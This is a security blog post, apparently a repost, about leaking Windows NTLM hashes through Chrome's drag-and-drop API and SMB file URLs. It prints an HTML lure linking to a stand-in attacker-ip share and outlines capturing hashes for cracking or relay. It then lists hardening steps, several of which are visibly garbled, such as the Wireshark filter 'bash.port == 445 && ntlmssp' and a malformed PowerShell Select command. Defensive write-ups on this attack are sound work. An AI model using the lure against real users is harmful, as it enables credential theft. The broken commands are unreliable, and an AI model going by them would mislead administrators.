Dragging Secrets Out of Chrome: NTLM Hash Leaks via File URLs

By /

Listen to this Post

Featured Image

Introduction

Chrome’s drag-and-drop API, designed to enable seamless user interactions, has an unintended security flaw: it can be exploited to leak NTLM hashes on Windows systems via SMB. This vulnerability, highlighted by TrustedSec’s Drew Kirkpatrick, underscores how seemingly benign features can become attack vectors when combined with social engineering.

Learning Objectives

  • Understand how Chrome’s drag-and-drop API can be weaponized to leak NTLM hashes.
  • Learn mitigation strategies to protect against SMB-based hash leaks.
  • Explore broader implications of API abuse in cybersecurity.
  1. Exploiting Chrome’s Drag-and-Drop API for NTLM Hash Leakage

Command/Code Snippet:

<a href="file://///attacker-ip/share/malicious.file" draggable="true">Drag Me</a>

Step-by-Step Guide:

  1. An attacker hosts a malicious SMB share (attacker-ip/share).
  2. A crafted webpage includes a draggable element linking to the SMB share.
  3. When a user drags the file, Chrome initiates an SMB request, sending the user’s NTLM hash to the attacker.
  4. The attacker captures the hash for offline cracking or relay attacks.

Mitigation: Disable WebClient service or block outbound SMB (TCP 445) at the firewall.

2. Verifying SMB Access Controls on Windows

Command:

Get-SmbClientConfiguration | Select-AllowInsecureGuestAuth

Step-by-Step Guide:

  1. Run the PowerShell command to check if insecure guest authentication is enabled.

2. If `True`, disable it via:

Set-SmbClientConfiguration -AllowInsecureGuestAuth $false

3. Restrict NTLM usage via Group Policy (gpedit.msc > Computer Configuration > Windows Settings > Security Settings > Local Policies > Security Options).

3. Detecting NTLM Leakage Attempts with Wireshark

Filter:

“`bash.port == 445 && ntlmssp“`

Step-by-Step Guide:

1. Capture traffic on the target interface.

  1. Apply the filter to identify NTLM authentication attempts.

3. Investigate unexpected SMB connections to external IPs.

4. Hardening Chrome Against Drag-and-Drop Exploits

Registry Key (Windows):

“`reg add HKLM\SOFTWARE\Policies\Google\Chrome /v DragAndDropBlocked /t REG_DWORD /d 1“`

Step-by-Step Guide:

1. Open Registry Editor (`regedit`).

2. Navigate to the Chrome policy path.

  1. Add the `DragAndDropBlocked` DWORD value and set it to 1.
    1. Disabling WebClient Service to Block SMB over HTTP

Command:

Stop-Service WebClient -Force
Set-Service WebClient -StartupType Disabled

Step-by-Step Guide:

1. Run the commands as Administrator.

2. Verify the service is disabled:

Get-Service WebClient | Select Status, StartType

What Undercode Say

  • Key Takeaway 1: Browser features designed for usability often introduce unintended security risks. This exploit highlights the need for stricter default configurations in enterprise environments.
  • Key Takeaway 2: Mitigation requires a layered approach—combining browser policies, network segmentation, and endpoint hardening.

Analysis:

The Chrome drag-and-drop flaw is a reminder that attackers increasingly target protocol abuse rather than traditional vulnerabilities. While Microsoft has deprecated NTLM, legacy systems keep it alive, creating persistent risks. Organizations should prioritize disabling NTLM, enforcing SMB signing, and educating users on social engineering tactics. Future browser updates may introduce stricter sandboxing, but proactive defense remains critical.

Prediction

As browsers expand API capabilities, similar exploits will emerge targeting other protocols (e.g., WebRTC, WebSocket). The industry will likely shift toward mandatory user prompts for cross-protocol actions, but legacy systems will lag, leaving gaps for attackers.

IT/Security Reporter URL:

Reported By: Trustedsec Llc – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

Join Our Cyber World:

💬 Whatsapp | 💬 Telegram

Related Posts: